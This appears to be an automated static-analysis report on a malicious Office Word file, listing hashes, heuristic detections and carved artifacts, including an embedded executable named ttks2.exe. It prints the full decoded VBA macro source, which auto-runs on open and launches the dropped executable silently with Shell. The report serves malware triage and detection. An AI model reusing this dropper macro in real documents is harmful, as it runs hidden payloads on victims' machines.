Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61f60bf4508e8a7f…

MALICIOUS

Office (OLE)

215.0 KB Created: 2015-11-23 08:07:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: cc29894fff6bf3691e25df86f9b8e566 SHA-1: bbc404e9e2a72a2e568160c54aad27c1828c35ae SHA-256: 61f60bf4508e8a7ffba9684c19581e5249af5e9a66c5df59b28564d6b66f2f94
554 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that trigger on document open events (AutoOpen, Workbook_Open). These macros utilize `CreateObject` and `Shell` calls to execute an embedded PE executable named 'ttks2.exe'. The embedded executable is also flagged by heuristics, indicating it's a payload. The VBA script constructs a temporary filename for the embedded executable, likely for execution.

Heuristics 17

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    byquhdkasd = Shell(nq, 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set kkKJNsdbS = CreateObject("Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Environ$(VVHSDSA) + EERATSDSDD
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1990 bytes
SHA-256: 23ecd3f0f1675320134fe87808f50b72608949fe5216bdd28ce0ad15c3fa9b52
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub BuugBsds()
    OIJFKASD = "';as[];da's\; 'asld'as;"
    QQOJnajs
End Sub
Sub Workbook_Open()
    FHUAKJWQD = "nvbkiljodiwq; asdj"
    QQOJnajs
End Sub
Sub QQOJnajs()
Dim AFCCC As String, haa As Integer
EERATSDSDD = Chr(92)
VVHSDSA = "TE" & "" + "M"
haa = -6 + DatePart("ww", "03/02/2012")
On Error Resume Next
VVHSDSA = VVHSDSA & "P"
ERTP = _
Environ$(VVHSDSA) + EERATSDSDD
WWEE = "."
TYTY = WWEE & "e" + Chr(121 + haa) + "e"
JNBBH = WWEE + "rtf"

AFAAA = ERTP + "552" + JNBBH
AFBBB = ERTP + "553" + JNBBH
AFCCC = ERTP + "ttks2" + TYTY


SantiK (AFAAA)
SantiK (AFBBB)
Wakawair (2)
Set kkKJNsdbS = CreateObject("Word.Application")
kkKJNsdbS.Visible = False
kkKJNsdbS.Documents.Open (AFAAA)
Wakawair (2)
HQUDHSA = Module1.Nuhwdbas(AFCCC)
Wakawair (1)
kkKJNsdbS.Quit
Set kkKJNsdbS = Nothing
End Sub
Public Function SantiK(Name As String)
    ActiveDocument.SaveAs FileName:=Name, FileFormat:=wdFormatRTF
End Function
Sub AutoOpen()
    BKHJQWDAS = "a'[oq 0dq2po-o [p;lkdas"
    BuugBsds
End Sub

Sub Wakawair(Sokora As Long)
Dim HJBDAS As String, Molokdwd As Long
Molokdwd = Timer + Sokora
Do While Timer < Molokdwd
DoEvents
Loop
WJLKANDJ = ";laks d[qw-=q-o [pasd"
End Sub
Sub Auto_Open()
    QQOJnajs
    RUYAHJSKD = "qw[dl]pas ldp; las"
End Sub
















Attribute VB_Name = "Module1"
Sub QQOJnajs()
Dim hqwdu As String
BHJAS = "askdjkhasd"
HQUWDJASBD = "qkwjd qw"
End Sub
Public Function Nuhwdbas(nq As String)
Dim byquhdkasd As Variant
byquhdkasd = Shell(nq, 0)
BGQYGWDKYASD = "qwidhjkqwh ghasjgdhja gyqwduwqgd"
End Function
Public Function NuhwdbasS()
BHQJGDJASD = "qnwdjkhhq wjkdghqjdq w"
End Function
embedded_office_00006459.exe embedded-pe Office MZ+PE at offset 0x6459 194475 bytes
SHA-256: 5690cfbe5a05b2c548f806fe994dfeacd04a856d5dbbf4bc9b918f2c20a1ba86
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1509802028/Ole10Native 169197 bytes
SHA-256: 765efbbf499fedcc6cb314bfcaf6a64d75a17202b6fdc9114b32e571b36ef498
ole10native_00_ttks2.exe ole-package-payload OLE Ole10Native payload: ObjectPool/_1509802028/Ole10Native; display_name=ttks2.exe; full_path=C:\Users\M\AppData\Local\Temp\ttks2.exe; temp_path=; def_file= 168960 bytes
SHA-256: 7803a14992a38f0c3f899f542920da74276db4f240a984820c10812c69e5a808

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